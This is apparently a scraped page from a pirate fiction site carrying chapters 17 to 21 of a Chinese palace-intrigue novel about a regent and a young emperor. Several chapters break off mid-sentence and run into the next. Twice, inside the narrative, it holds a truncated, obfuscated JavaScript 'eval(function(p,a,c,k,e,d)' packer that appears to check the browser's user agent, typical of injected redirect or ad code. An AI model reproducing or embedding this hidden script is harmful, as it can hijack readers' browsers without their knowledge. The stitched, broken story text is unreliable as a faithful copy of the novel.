随后沈翊装模作样地将排的整整齐齐的如同一座座小山的奏折打乱,桌子上瞬间乱作一团,有的奏折还落到了地上,宋闻璟看着沈翊这副不知在忙什么的样子,站在原地默了几秒。 随后捡起掉在地上奏折放在桌子上,一把按住沈翊那作乱的手,道:“找不到就别找了,臣找陛下是有要事。” “这样啊。”沈翊轻笑,“皇叔,早说不就行了,何必同朕绕这么大的弯子。” 宋闻璟:“……” 沈翊慢悠悠地坐在椅子上,手上又开始把玩着什么东西,心不在焉道:“皇叔要说什么?” 宋闻璟道:“陛下想必早已知道边关粮草紧缺的事情了吧。” “哦,这个啊。”沈翊道,“知道了。” 宋闻璟继续道:“陛下是怎么做的。” 沈翊道:“朕没做什么啊。” “陛下不应该往边关送粮草吗?”宋闻璟看着他,“陛下可当真狠心。” “朕吗?”沈翊笑了一声,“皇叔谦让了,朕还是觉得皇叔比较自私自利,狠心这一块,朕自是甘拜下风。” 宋闻璟听的有些糊涂,“陛下什么意思?” “皇叔还没听明白?”沈翊拿起桌子上任意一封奏折,扔到宋闻璟跟前,“皇叔还记得自己做过什么事吗?这封折子被压了多少年才呈了上来,天灾人祸,这天喜其实早就快要亡了,皇叔现在来问朕要粮草,是不是欺人太甚。” 宋闻璟被说的一愣了许久,随后拿起被扔在地上的奏折细细看了起来。 沈翊继续道:“不止这封,现在摆在桌子上的奏折都是,年年写年年被退回,皇叔的本事也是真大,朕在想皇叔为什么会突然让权给朕,原来是想把这亡国的锅扣在朕的头上,想必以后朕又会是历史上一名亡国暴君,让世人唾弃。” “臣……臣不是这个意思。”宋闻璟抬起头的一瞬间,眼底也闪过一抹惊慌,为什么总是脱离不了奸臣这个身份,明明他已经在很努力的洗白了。 宋闻璟道:“臣真的是想……” “陛下。”守在门外的李公公走进来,打断通报道,“林相来了。” “请进来便是。” 沈翊看着宋闻璟轻笑道:“皇叔也别站着了,坐下等着吧。” 还未等宋闻璟回话,林渊便从门外走了进来。 “参见陛下。” 林渊微微欠身行礼。 “舅舅何必多礼,直接坐下便是。”沈翊轻点了下头,随后又看向站在旁边的宋闻璟,“皇叔怎么还站着,不累吗?” 宋闻璟笑了笑,“臣不累,不用坐。” 房间里一时间多了几分尴尬的味道,宋闻璟不是不想坐,但总感觉坐着心里很不舒服,总感觉浑身不对劲。 沈翊瞧了他一眼,随后又看向林渊,“舅舅可是有了法子。” 林渊道:“陛下可还记得臣有个学生孔左。” 沈翊道:“好像是有那么点印象。” 林渊笑道:“工部侍郎孔左早些年便进了工部,阅历经验都很丰富,现下为治洪修建水利也是个最合适不过的人选。” 沈翊道:“那既然舅舅推荐,朕便放心安排人下去了。” 林渊点点头,随后又转头看向一旁的宋闻璟,不解问道:“宋大人可还有要急事同陛下说。” 宋闻璟默了默,又 18.第 18 章 《奸臣他只想种地》全本免费阅读 林霄的忌日在一月一,在那个喜庆的日子里,宫里灯火通明正大摆宫宴,举杯同庆新一年的到来,只有冷宫里清冷孤寂,在夜晚与散发着微弱光芒的月亮作伴。 而这次林霄病发的突然,被前来送菜的太监发现时,人明显已经快不行,此时恰逢突发宫乱,一时间宫里人心惶惶,沈翊得到消息已经过了一个时辰了,前来送消息的小太监,其实在回去的路上已经被半路突然出现的反贼杀害了。 此时所有聚集在大殿之中的众人纷纷坐立不安,不断抬头往紧闭的门外看去,而沈翊更是耐不住性子,三步并两步的向门口跑去。 “陛下,现在还不能出去。” 沈翊刚跑到门前,连门都没来得及摸一下,就被守在门口的侍卫领着后衣领重新拽了回去。 “放开朕!放开!” 沈翊当时刚登基一年,左右也不过是个十岁的毛头小孩,力气自然也比不过这个大高个,但沈翊足够灵活,在侍卫手里扭过来扭过去,差点在当众表演一个金蝉脱壳。 侍卫也没想到这小皇帝这么能闹,随后干脆直接一甩手扔到了地上。 沈翊被这一道力摔了出去,猝不及防的在地上跌了个屁股墩,但沈翊此刻也顾不得上疼,从地上爬起来又往那门口跑。 一来二去,两人也成了众人的焦点,在场有不少官员站出来劝沈翊:“陛下还是别出去了,现下还是保全自己最重要,外面乱的很。” 也有不少人坐在原地默不作声静静地看着这场闹剧,也算给这压抑的氛围增添一些乐趣。 沈翊一遍遍跌倒再起身,拦他的侍卫也忍不住劝他道:“陛下,您还是老实一点吧,现在外面没人敢出去了。” “为什么?”沈翊一双湿漉漉的眸子看着他,大声质问道:“外面根本什么声音都没有!为什么不让朕出去!” “陛下,这……说不清,总之您还是回去坐着等吧。”侍卫摇摇头,随之叹了口气。 “为什么说不清,外面有什么见不得人的事,你告诉朕!”沈翊一激动,泛红的眼眶里两滴情泪就这么肆无忌惮地落了下来。 侍卫见小皇帝一个劲掉小珍珠,心里也渐渐开始为之动容,连带语气也软了下去,“陛下,您还是老实一点吧,大人有令谁都不能出去。” 小皇帝眼看这侍卫是死了心的不让他出去,一时也着急坏了,就坐在门旁边坐着一边抹泪一边嚷嚷着哭。 哭了没多久,门被推开了,宋闻璟带着一身寒气进来了,沈翊几乎是一瞬间连爬带跑的向那门口往外挤。 “哎,陛下。” 侍卫还没反应过来,眼看沈翊就要窜出去了,一只光泽白洁的纤纤素手一把扼住沈翊的肩膀,沈翊不敢吱声,只感觉这只手从他脸轻轻划过去的一瞬间自己不自觉地微微颤了一下,这手如同一块薄冰凉得不像话。 “陛下这么着急去哪啊?” 宋闻璟清冷的声音从头顶传来,沈翊只觉得心中燃起的几分期待,也在此刻被一盆凉水浇的透彻。 “朕……”沈翊吸了口气,一时没忍住又掉了两滴眼泪,随后更多的小珍珠像断了线般,一个接一个地跑了出来,沈翊抬起胳膊用袖子随便擦了下,又委屈巴巴地一遍又一遍哭喊道:“朕要母后,朕要去找母后。” “现在不行。”宋闻璟看着他,脸上并没有表露什么表情,只是伸手给他擦掉留在脸上的泪水,又说道:“那个女人早就不是陛下的母后了,陛下还是趁早忘了的好。” “才不是!”沈翊仰着头张着嘴一边说,一边哭的一把鼻涕一把泪,“朕就要她!朕就要去找她。” 宋闻璟听他哭喊这乱七八糟说了一通,有几个字还咽呜的听不清,宋闻璟听烦了拉着他的手腕就往里拖,沈翊就往后退,小小的身影也在此刻爆发出强大的力量,两方一直僵持不下。 宋闻璟瞟了一眼还在奋力往后挣脱的沈翊,突然将手松开了,沈翊一个重心不稳直接摔了个四脚朝天,还甚至差点在地上滚一圈。 沈翊忍着痛没出声,甚至还想朝外跑。 宋闻璟也不是没有脾气,看到沈翊这么倔,头脑一热,一巴掌就落到刚从地上爬起来沈翊的左脸上。 清脆的回响在大殿上回荡,一瞬间大殿中所有的官员都干脆利落地跪了下去。 沈翊一时没反应过来,直到觉得左脸火辣辣的刺痛,才彻底安静下来。 宋闻璟对着他愤愤道:“你怎么这么着急出去送死,外面的人都恨不得拿你去邀功,那个女人有什么好的,自私自利,六亲不认,现在本王就告诉你就算那个女人死了你也不能出去,你听明白了吗?” 沈翊瞬间愣在原地,只是睁着惶恐的眼睛看着他,连带脑中也一片空白。 说完这一通,宋闻璟也不知道是不是说的太快太急了,胸闷闷的,那种喘不动气的窒息感越来越明显,脑中一阵天旋地转的眩晕感也瞬间一同涌了上来,宋闻璟闭了闭眼连吸了好几口气,这才堪堪恢复过来。 等这种感觉完全消失,宋闻璟睁看眼便看见刚刚还在撒泼打滚的小皇帝,小心翼翼地拽着他的衣角,一副可怜巴巴的小脸和还在不停抽噎的小嘴,眼角时不时掉下两颗小珍珠,又瞬间被擦去。 沈翊支支吾吾了好半会才整理好情绪,小心问道:“皇叔,那朕明天能去看她吗?” 宋闻璟看着他没说话,只是再次拉着他的手腕往里走。 沈翊趁机又擦了两下眼泪,问道:“母后是不是快不行了,朕好想她。” 等走到了旁边的偏殿,宋闻璟从袖口中拿出一根已经有了不少划痕的木簪,道:“拿着吧,就算给自己留个念想。” “什么意思?”沈翊一愣,看着宋闻璟手中的那支木簪迟迟没有接过来,“朕不要,朕才不要这个。” 宋闻璟平静道:“陛下还不明白?那个 19.第 19 章 《奸臣他只想种地》全本免费阅读 两人又走了一段路,路面上也已经积了薄薄的雪,踩在上面留下一个又一个的脚印,一路下来,这些脚印又重新被雪覆盖,也将两人一同留下的痕迹埋没不见。 又走了片刻,直到宋闻璟看到了前面一个小小的土堆,两人也算到了地方。 沈翊回头看了他一眼,轻笑道:“皇叔这就不行了?” 宋闻璟闻声也抬眼看了他一眼,此刻呼出的热气化作一层薄雾模糊了沈翊的身影,宋闻璟走了这一段路早已累的不行,耳边听着沈翊的嘲讽自己却自顾自地寻了个较平坦的地方坐了下去。 宋闻璟道:“陛下年轻气盛,臣自是比不过。” “是啊。”沈翊微眯着眼,悄悄往宋闻璟身上瞟了一眼,随后一口气跟着附和道,“这么年过去了,皇叔年纪也确实大了。” 年纪大? 谁? 是在说我吗? 宋闻璟一时没反应过来,甚至还在脑子里细细算了一下,怎么说虽又过了几年,他起码也就二十多岁吧,明明还正值青春年华呢,怎么算老呢? 可在这个时代算起来,自己好像也确实老大不小了,同龄的人都结婚生子了,连孩子都快抱上第三个了,除了他还在和这小皇帝玩心眼子,最重要的是,这要是玩失败了,他这条命就没了。 宋闻璟想着自己可怜的命运,突然又恨自己明明有着光明坦荡的前程,却只因为某个夜晚睡了一觉,他的命运便彻底改变。 说实话,这太不公平,宋闻璟看着眼前的小土堆,不禁叹了口气,如果时间能重来,他是不应该翻开那本小说,还是不应该在那一晚上躺在床上睡觉。 “皇叔在叹什么气?难不成现在后悔了?”沈翊慢慢走到他跟前,继续道:“朕的母后很可怜的,生前被扔到冷宫疯了,死了连尸体没有,现在连个正经的墓碑都掉了一个角,可皇叔为什么也不喜欢母后呢,朕觉得她明明是个很好的女人。” 沈翊一边说着,一边漫不经心地扫掉宋闻璟身上积攒的一层薄薄的落雪。 沈翊的母后林霄,书中鲜少出现的人物,几乎在书中的开始便下线了,虽然介绍的不多,但宋闻璟了解这个女人并不是个善茬,能独自在后宫中单打独斗到至高位,可见手段和心机并不弱。 甚至在后来的林家败落,林霄萌生出弑君的想法,但这个想法没能实现,先帝本就对林霄有了猜忌,林霄准备了毒药做好了和先帝同归于尽的最坏打算,但谁料先帝不但没中招反快了一步。 后来,林霄去了冷宫,沈翊也被强制寄养在别的妃子膝下,而在此之前,林霄为稳固沈翊的地位,真是把佛口蛇心表现的淋漓尽致,表面温柔宽宏大量,实则在后宫中没少残害子嗣,陷害妃嫔。 而这最后的因果,终是反射到了自己和沈翊身上,先帝在她宫中找到了那半包被藏起来的毒药后勃然大怒,后来就让太医配药加在林霄的饭里,让她慢慢变疯变傻。而沈翊少了林霄的庇护,虽然占着太子的头衔,地位却比其他皇子都要低上一段。 宋闻璟看着沈翊逐渐失焦的眸子,不禁拨开他的手,问道:“陛下,可要说什么?” 沈翊道:“皇叔还想让朕说什么?” 宋闻璟不说话了,这小皇帝的心思太多,根本不是一根线就能捋清的。 沈翊笑了笑,“皇叔,朕就只想带着你来看看她。” 宋闻璟半信半疑地看着他,随后转头看向那一矮矮的小土堆,“现在看也看了,陛下,咱们走吧,到了晚上这不安全。” “皇叔何必这么着急。”沈翊将他从地上拉起来,“既然来都来了,怎么不上前看看。” “这……” 宋闻璟看着沈翊脸上的笑,都觉得如果现在林霄的魂直愣愣地出现在自己面前,都不如沈翊看着自己笑的瘆人。 沈翊带着他走到林霄的墓碑面前,突然道:“母后已经死了很久了,但从来只有朕一个人来,好像没人记得她,朕想今日皇叔能来,母后一定很高兴。” “是吗?”宋闻璟看着墓碑上只刻了“林霄之墓”四个字,而这四个字也在经历风吹日晒,日月轮换中渐渐模糊了轮廓。 而沈翊脸上掩盖不住的欢喜,让宋闻璟一瞬间放松了警惕,可能沈翊只是单纯的想让自己陪着来祭拜林霄。 宋闻璟看着沈翊跪在地上重重磕了三个响头后,额头都被硌红了。 沈翊呼出一口热气,一双亮晶晶的眸子含着笑,静静地看着宋闻璟道:“皇叔要是不愿意跪就别跪了。” 宋闻璟愣了愣,并没有多大的反应,随后淡淡看了他一眼走到一旁转过身去,“陛下,咱们还是快走吧。” “……” “陛下?” 见沈翊没出声,宋闻璟又叫了好几声,可沈翊一直没回答,直到宋闻璟刚要回头,把沈翊拉起来带回去,却没想到沈翊直接压了上来,宋闻璟一时没站稳,被沈翊又重新拽了回去,后脑勺实实撞在林霄的墓碑上,那声“砰”的清脆响声也在两人之间变得格外响亮。 宋闻璟不知道沈翊什么时候力气变得这么大了,现下只觉得后脑勺一阵一阵发麻的疼,宋闻璟下意识闭紧了眼,等缓过那阵剧痛后,便听见沈翊朝他吼道:“她是朕的母后,朕要让她进皇陵。” 宋闻璟缓了半晌,才堪堪问道:“你说什么?” 沈翊又道:“朕要你安排她进皇陵!” 宋闻璟似无奈地笑了声,“这……臣怎么办啊,陛下想做不就一句话的事,何必绕这么大的弯子。” “别以为朕不知道。”沈翊拽着他的衣领,轻蔑自嘲道:“皇叔给朕的兵符其实根本就没用,那军队远在边关对朕来说根本就是徒劳,而且就算皇叔给了朕兵符,那军队是听皇叔的一句话的事,还是听朕这手里这块兵符说的话?” “朕才不信你!”沈翊继续道,“那些官员也一样,他们都在配合你演戏对不对!要不是因为你一次次退让,那些官员也不会这么听朕的话!可只要你随便说一句,那些官员都纷纷往你这边倒,甚至你从来没出现过,那些官员竟然还遵你的吩咐给朕办事。” 宋闻璟一边听着沈翊对自己的控诉,一边觉得后脑勺热辣辣的疼。 “林霄不能进皇陵是先帝下的旨意,陛下难道不知道吗?” 话音刚落,沈翊蓦地笑了,连原本紧紧抓住宋闻璟衣领的手也一时间松开了。 他站起身,看着宋闻璟不屑道:“先帝早就死了,现在朕才是皇帝,是九五至尊,而有些东西早就应该变了。” 宋闻璟得了喘息的间隙,刚刚动了动身子,眼前便又一阵天旋地转,连沈翊的身影都模糊了不少,随后宋闻璟也不挣扎了,干脆就躺在那闭上了眼。 两人是从早上开始从皇宫里走的,然刚走一段时间,天上便淅淅沥沥地下起了小雪,雪下了一早上,现下也开始渐渐停了,两人一高一矮的身影在一望无际的雪地里也变得越来越显眼。 而沈翊刚刚说那番话,宋闻璟一个字也没听见,心里只想着什么时候才能结束,什么时候才能回去,甚至在最后还忘吐槽下这小皇帝真是不听话,他爹亲自说的话也不听,要是真把他娘搬进去了,这先帝会不会突然诈尸,半夜从皇陵跑出来。 宋闻璟自顾自地想着,突然觉得越往后想越离谱,甚至还有点莫名的好笑,脸上的嘴角也抑 20.第 20 章 两人回到皇宫时,天已经黑了,宫门口裴夏还在一直等着宋闻璟,见两人来了,裴夏也赶忙迎了上去。 “陛下。” 沈翊走在前面,高挑的身形将跟在身后的宋闻璟全部遮挡起来,裴夏歪了歪的身子才看见自家主子早已被远远甩在身后。 裴夏拜见过沈翊后,便跑向远处的宋闻璟,宋闻璟在后面一脚深一脚浅地走着,闻声听到脚步声后,抬眼看见裴夏跑到自己跟前,宋闻璟不由得闭上眼全身放松下来,随后深深吐出一口气,整个人倒在裴夏身上。 “你一直在这等吗?” 裴夏身体一僵,随后伸出手顺势将他圈在怀里,周围的寒风瞬间被阻隔在外面,宋闻璟冰凉的身体也在汲取这来自裴夏身体唯一的热源后,开始渐渐回暖。 “主子,为何这么问?” 裴夏不解,这本就是他的分内之事,不过只是等了半天,自家主子倒是对自己好像更亲进了。 宋闻璟浑身无力地趴在裴夏怀里,脑中也是昏昏沉沉地听不清裴夏的声音,只是嘴里自言自语地说道:“回去,现在就回去。” 裴夏不说话了,刚想松开自己大逆不道的手,依靠在身上的力突然加重了,再看一眼,宋闻璟身子一软已经在他怀里倒了下去。 “主子?” “主子!” 裴夏几乎是瞬间反应过来,打横抱起宋闻璟就往马车那边跑。 裴夏一边嘴里小声嘀咕,一边不自觉地加快再加快步子。 “发生何事了?” 刚刚要走进宫门的沈翊也被裴夏也一激动的反应,吸引了过去。 裴夏刚刚把宋闻璟送上马车,耳边便传来沈翊漫不经心地询问声。 裴夏回道:“主子晕过去了,可能是旧疾犯了。” “晕了?”沈翊愣了下,“不是刚刚还好好的吗?这一路上他还和朕说了不少说呢,怎么就这时候晕过去了?” “这……”裴夏犹豫着不知道该说什么,便想敷衍几句好把小皇帝打发了。 “可能主子他……” 沈翊突然打断道:“算了,你把他带进宫让宫里的太医给他瞧瞧。” “这?”裴夏听着这小皇帝说的一番话,一时没反应过来。 沈翊道:“怎么,这宫里的太医比不上宫外的那些乡间大夫。” “不是。”裴夏想了想,反正小皇帝都主动发话了,那便去吧,回去再去找姜老实在太麻烦,更何况这个点,姜老说不定早就睡了。 裴夏朝沈翊拜了一礼,回谢道:“多谢陛下。” 随后,沈翊在裴夏的注视下,慢悠悠地上了马车。 裴夏站在马车外,问:“陛下,这是做什么?” 沈翊掀起帘幕,随后笑道:“通往宫里的路有几里路,朕和皇叔已经走了一天了,朕也累了,而且皇宫境内不允许马车同行,朕要是不在车上,你也只能抱着他一步一步的往里走。” “一举两得的事,你这人怎么不会变通,真枉你在皇叔旁边待了这么多年。” “什么?”裴夏被说的云里雾绕,可对于自己来说,这明明就是一举一得的事,哪里一举两得了? 沈翊坐在马车上,心不在焉地提醒他:“不要再想了,再想下去,一会儿你就拉着一个尸体去太医院,但朕先说明白,宫里可还没有能让人起死回生的太医。” 裴夏回过神,立马驾着马车朝宫里奔去。 一刻钟后,两个太医从偏殿的门口走进来,沈翊恰巧从门口出去,三人一碰面,那两个太医还没等跪在地上行礼,沈翊的影子已经没有了。 沈翊刚刚没走几步,右肩便被人重重拍了一下,沈翊回头,没看见人。 “这里。” 沈翊闻声,没扭头,只抬手朝反方向的那一边给了一拳。 “哈哈哈,这招早就不管用了。” 那人握着沈翊的手腕,一脸得意。 “你怎么在这,今日怎么不回你的百香楼了?”沈翊扭过头,看着眼前笑着冒着傻气的柳溪道。 柳溪放开他,两手一摊:“当然没钱,要是陛下不总是臣的钱,说不定臣已经带回几个妹妹回家了。” “就你?”沈翊不屑道,“你大哥可同意了?你三弟可还瞧得起你?” 柳溪摆摆手,“我做我的事,关他们何干?再说,人各有各的志向,我的志向只是剑走偏锋,其实看起来也没什么不同。” “行了。”沈翊道,“你半夜就来找你朕谈志向的?” “对啊。”柳溪笑笑,开玩笑道,“难道不可以吗?” 沈翊:“……” “可以,但现在不行。”沈翊一边往前走,一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴夏说完,便趁着小皇帝还在费脑筋想的时候,自己已经偷偷地溜了出去,毕竟宋府哪有宋家女,有的只是当女儿养的自家主子。 但主子好像很讨厌这个身份,知道人也除了亲近之人,剩下的也都死都差不多了,他可不想做下一个没命的人。 21.第 21 章 宋闻璟刚出生时,气息比一般的婴儿微弱,甚至连哭都没哭一声,几个太医忙前忙后地照顾他们母子俩,直到三天后,宋闻璟才哭出第一声。 后来太医们都说宋闻璟体质太弱,纵使生下来也活不过几年,而这句话当场就把仇凝吓住了,自己千辛万苦生下来的宝贝儿子怎么能说没就没。 仇凝为给宋闻璟积德求佛祖保佑,几乎隔天就要去寺庙里烧香拜佛,甚至捐给寺庙的香火钱更是一笔不少的钱财,攒的福缘不少,仇凝成了寺庙里的大善人,但善有善报,在宋闻璟五个月时,府里来了个来讨饭的算命老头。 府里的下人们看着这乞丐打扮的老头,手里还拿着个破碗,嘴里还不停的神神叨叨地说着什么,让人一看就是疯子,便想将人赶出府去,但谁知这疯子有点功夫,几个拿着棍棒的下人们被打着落荒而逃。 这阵动静也将仇凝吸引了出来,仇凝看着这副场景,并没有表现多震惊失了风度,反倒镇静地问道这老头:“不知阁下到访所谓何事?” 仇凝身为武将之女,从小便跟着她爹在军营混,见过太多是非和争斗,一个漂漂亮亮的小姑娘硬生生被转了型成了个假小子,而仇凝的胆识和眼界总会一般的高门贵女高了不少,看着这老头挑事心中更多是玩味。 而这老头拿起自己的破碗,浅浅一笑,毕恭毕敬道:“小人只是来讨饭的。” 仇凝余光中看着院中还被打在躺在地上的下人们,哼笑一声道:“你就是这般讨饭的?” “这……确实不管……” 这老头还没说完话,仇凝便拿起落在脚边的木棍一个转身横扫朝这老头打了过去,老头侧身闪过,还不忘嬉笑道:“你这人怎么背地里玩阴的?” 仇凝轻笑道:“打你就打你,难不成还要提前告诉你一声?” 老头一边躲一边继续道:“你这小丫头真是脾气暴的很,连我这个老头都要打。” 两人之间一来一回打的正起劲,院中又匆匆跑来一名婢女,朝着仇凝大喊道:“夫人先别打,小公子他又起烧了。” 闻言,仇凝扔下手里有了微微有裂痕的木棍,深深喘了口气道:“你这老头真是难缠。” 说罢,老头微微一笑,随后目光从仇凝的脸上转移到腹部,点头道:“承认了。” “你不是要讨饭吗?”仇凝扭头看向刚刚跑过来的贴身婢女小菊,“你去后厨拿两个馒头给他,然后再把他赶出去。” 小菊点了点头,随后仇凝匆忙地转身走了。 小菊看着眼前的老头,语气恭敬了不少,“请您在这等一会儿,我去后厨拿馒头给你。” 老头点点头,道:“多谢了。” 看着小菊的身影渐渐消失,老头立马向着仇凝的方向追了上去。 走过转角,一阵孩子吵闹的哭声灌进老头的耳朵里。 老头闻声推开房门,慢慢走了进去。屋里仇凝坐在椅子上怀里抱着一个哭红了脸的婴孩,而旁边还站着几个婢女,几人手忙脚乱地喂着汤药给这个孩子。 而怀里的婴孩,一直动来动去,纵使周围几个婢女按着他,汤药都被撒了出来,染脏了衣服,也把仇凝的心疼坏了,仇凝从进屋的那一刻,拧起的眉头就没松下来过,但仇凝还是拿着小勺子一遍遍的喂,哪怕吃进一口也是好的。 老头悠闲地走来,抬手摸了摸宋闻璟发红的小脸,漫不经心地问道:“这是你亲儿子啊?” 仇凝打了下老头的手,不耐烦地反问道:“难不成是你的?” 老头笑了两声,摇头道:“老朽都一把老骨头了,按年纪看怎么也对不上,他当我孙子还差不多。” “你什么意思?”仇凝瞅了他一眼,“你这老头怎么还不走,那两个馒头还不够你吃一顿的?” 老头道:“自是够了……” “来人啊!”仇凝往外大喊一声,瞬间好几个下人走上前来,“把这人扔出去。” “哎,等等!”老头看着慢慢朝自己靠近的下人们,赶忙道,“老朽是来找宋简宋大人的,先别赶老朽出去。” 话音落,仇凝抬起头,问他:“你找他干什么?你不知道,前些日子宋简出征了吗?” “其实老朽是宋大人的朋友。”老头满脸笑容,道出来意:“这次是想来和宋大人叙旧的,但不凑巧前些日子没在京中,没能与宋大人叙上一叙,现在又错过,没碰到宋大人一面。” 仇凝皱了皱眉,疑心道:“朋友?我怎么不知道?” 老头笑笑:“这没有关系,老朽姓燕,单名一个无字,夫人这下可记下来?” 仇凝将怀里的孩子抱起,随后站起身来,道:“燕无?” 燕无点头,随后看向趴在仇凝肩头昏昏欲睡的孩子,问道:“这是宋大人的儿子吧,这小嘴简直和宋简一模一样。” 仇凝问:“你和宋简认识很久了吗?” 燕无点点头,“大概五年了吧。” 仇凝看着他,心里不断起疑,五年的时间,她和宋简认识了七年,而这期间也从没见过他。 燕无看着这娃娃沉默良久,随后一脸严肃道:“夫人,老朽怎么看这小公子像被什么东西缠上了。” “什么?”仇凝瞪了他一眼,“你别在这胡说八道!我儿子怎么会被什么东西缠上。” “夫人先别着急。”燕无看仇凝急了眼,立马解释道,“小公子是不是经常断断续续发烧,有时夜晚啼哭不停,睡着时还会被梦魇魇住?” 仇凝仔细想了想,好像这老头说的确实不错,随后半信半疑地点了点头。 燕无一拍手,肯定道:“老朽是看出来,这还不止一个脏东西,缠在小公子身上的可能是好几个。” “这……” “夫人不必担心。”燕无道,“老朽会一点法术,必定帮小公子将身上缠住的脏东西去除。” 仇凝听着燕无说的如此冠冕堂皇,顿时也有点不知所措,明明自己的儿子连太医都束手无策,这一个来路不明的道士就能解决了吗? 仇凝从前都来都不信这些鬼神之说,可到了自己儿子身上,她没办法不信了。这是自己儿子迎来的第一线希望,她不想放弃,也不能放弃。 “你想做什么?”仇凝问。 燕无道:“夫人放心,用不了多少时间,不过老朽需要黄标纸,墨,朱砂,和一支笔。” “你要干什么?”仇凝不解。 燕无道:“现在缠在小公子身上的脏东西并不厉害,老朽只用略施小计就能将其赶走。” 仇凝不懂,只好让下人们照做,将东西都摆了上来。 燕无在熟睡的宋闻璟旁一边小声嘀咕,一边装模作样地来来回回走了几圈,随后在黄标纸上又开始写写画画,杂乱无章的笔画在纸上不断跳跃,到了最后的收笔,燕无重重点下一个点,随后将符纸塞进宋闻璟小手里。 “夫人,好了。”燕无道,“明日小公子的病就好了,这些脏东西走了,但……” “怎么了?”仇凝原本沉下来的心,有瞬间回到空中。 燕无道:“这些脏东西本就是奔着小公子来的,老朽现下帮小公子赶走了,但过不了不久还会再次回来。” “那怎么办?” 燕无道:“不知夫人听说过障眼法吗?” 仇凝问:“什么意思?” 燕无道:“这些脏东西已经来过小公子身上一次,那就记住了小公子的样子,而老朽的符纸怕也撑不了多久,要想小公子一生平安顺遂怕是要舍弃宋小公子的身份。” 仇凝心头猛然一震,“什么意思,要把他送走吗?” 燕无摇摇头,“老朽想夫人刚刚诞下小公子必是不愿承受分离之苦,但可略施小计改变小公子的面貌,让那些脏东西认不出那是宋小公子便可。” 仇凝一瞬间愣在原地,燕无道:“现下只能这么办了,不论是宋小公子还是宋小姐不都还是夫人您的孩子,难不成夫人真舍得抛弃稚子?” 仇凝心有不甘,扯着燕无破破烂烂的衣衫吼道:“肯定是有人要害我儿!要不然这些脏东西怎么可能跑到我儿身上!” “嘘。”燕无再一次摇头,无声叹息道:“夫人,这脏东西不会无缘无故缠上一个人的,宋大人和夫人在战场上并肩,虽替陛下守护了国土,但这其中冤死的人也不在少数,他们难道就不恨吗?夫人,这一切的因果都是注定的。” 仇凝转头看向一旁还在熟睡的孩子,不可置信地失声了一笑,随后走向前将其重新抱在怀里,低下头蹭了蹭宋闻璟还在发烫发热柔软的脸颊,随后仇凝蓦地心尖一酸,两行泪便不受控制地流了下来,落在宋闻璟脸上,宋闻璟微微一动,像下意识贴着仇凝轻轻安慰她。 燕无也没有多停留,走出府门时,原本晴空万里的天空彻底阴了下来,燕无抬起头看着黑压压的天空,叹了口气,“真是事事难料啊,就这么一会又变天了。” 下雨对于老百姓来说是一件好事,特别是春天的雨,可这雨一旦下过了头就成了洪涝,变成了一件坏事。 可这是多是少谁也拿不准,全凭天意。 燕无不急不慢地走在大街上,甚至还买了一壶酒慢悠悠地喝着,他回头看了一眼来时路,轻叹道:“希望这孩子能保住你们。” 傍晚,雨越下越大,狂风大作,将窗户撞地吱嘎的响。这一晚,仇凝想了好多,甚至在入梦后也不得安稳,她在死尸遍地的战场上,看到了一个被遗留下来不停大哭的孩子,孩子的哭声直冲仇凝的大脑,仇凝在原地呆愣了很久,刚想迈出步子去救,便看到这孩子变了个人,他开始变得很模糊,直到这个孩子冲着她一遍遍叫她:“娘亲救我,娘,我在这,娘……” 仇凝突然回过神来,可没等迈出第二步,一柄泛着寒光的利剑刺透着这瘦小的身躯,模糊的身影渐渐倒在地上,随后更多的军队和战马从这小小的身躯上踏过,直到身影消失不见,仇凝才撑不住地喘了口气。 可周围的风声一直不停,那嘈杂的声音混在一团不断在仇凝耳边萦绕,好像有人发了疯的在笑,也有人狂哭不止,但这些声音都在说:“就该这样的,他该死,他们都该死!” 仇凝觉得自己陷入了一个死循环中,这里一遍又一遍的重复着刚才发生的事,她无助站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此话一出,宋简神色一下暗了许多,甚至开始担忧以后这庞大的家业和官位不仅都要拱手让人,自己的女儿以后该怎么撑起这批军队,嫁给什么家世的人,这朝中还有什么稳重的人能配得上自己的女儿,不禁都在脑中细细过了一遍。 反观皇帝,笑意不减,脸上一道道的皱纹全都暴露出来,“女儿好啊,朕现在才两个公主,不如择日不如撞日,朕看这小丫头长的讨喜,朕下旨封这丫头为郡主,就赐封号‘安乐’吧。” “陛下,这怎么行?” “哎,朕说封就封,一个名分而已,给了便给了。” 一顿宫宴,人尽皆知宋简是皇帝眼前的红人,不仅自己加了官,还连带刚出生的孩子封了郡主,这不是莫大的荣光,而按照这风头,这小丫头很有可能是内定的太子妃。 但对于仇凝的隐瞒,只是因为在燕无走的第二天,开门的下人从门口见到一封信,信上只有几个大字:“藏其锋芒,独善其身。” 顺带旁边还有几个小字:“夫人,切不可向外人透漏小公子的身份,脏东西能听见。” 两人回到府,仇凝心里边一直忐忑不安,宋简在旁边逗着宋闻璟玩,宋闻璟没玩多久就开始犯困,坐在床上跟个不倒翁一样,一边打着盹一边还贪玩,宋简都被逗笑了,哄着宋闻璟睡后,宋简便看见仇凝自己坐在外面发呆,宋简走过去,还把仇凝下了一跳。 宋简问她:“怎么了?” 仇凝问他:“你认不认一个叫燕无的人,他来找过你,但那时候你还没回来。” “燕无?”宋简想了想,“名字有点熟悉,但不知何时见过了。” 仇凝道:“他说咱儿子被脏东西缠上了,所以一直生病,他还会做法……” “等等。”宋简皱了皱眉,“怎么成儿子?不是女儿?” “啊?”仇凝摇摇头,“不对不对,是女儿。” 宋简问:“到底是什么?” 仇凝几度张口,却都说不出来,最后还是一口咬定道:“女儿!” 宋简了解仇凝,仇凝说话从来都不会支支吾吾,这里面想必有隐情。 宋简问道:“我走的这几天,府里是不是发生什么事?” 仇凝抬起头看着他,泛红双眼渐渐涨起水雾,委屈道:“都怪你!儿子都快死了,你也不知道,说了不让你去边关,你还非要去,这朝里少了你一个人,是都不活了吗?!” “我……”宋简一时被怼的说不出话,仇凝一边说一边哭,又把那个燕无领出来说了一遍,随后又把燕无写给宋简的信拿出来给宋简认。 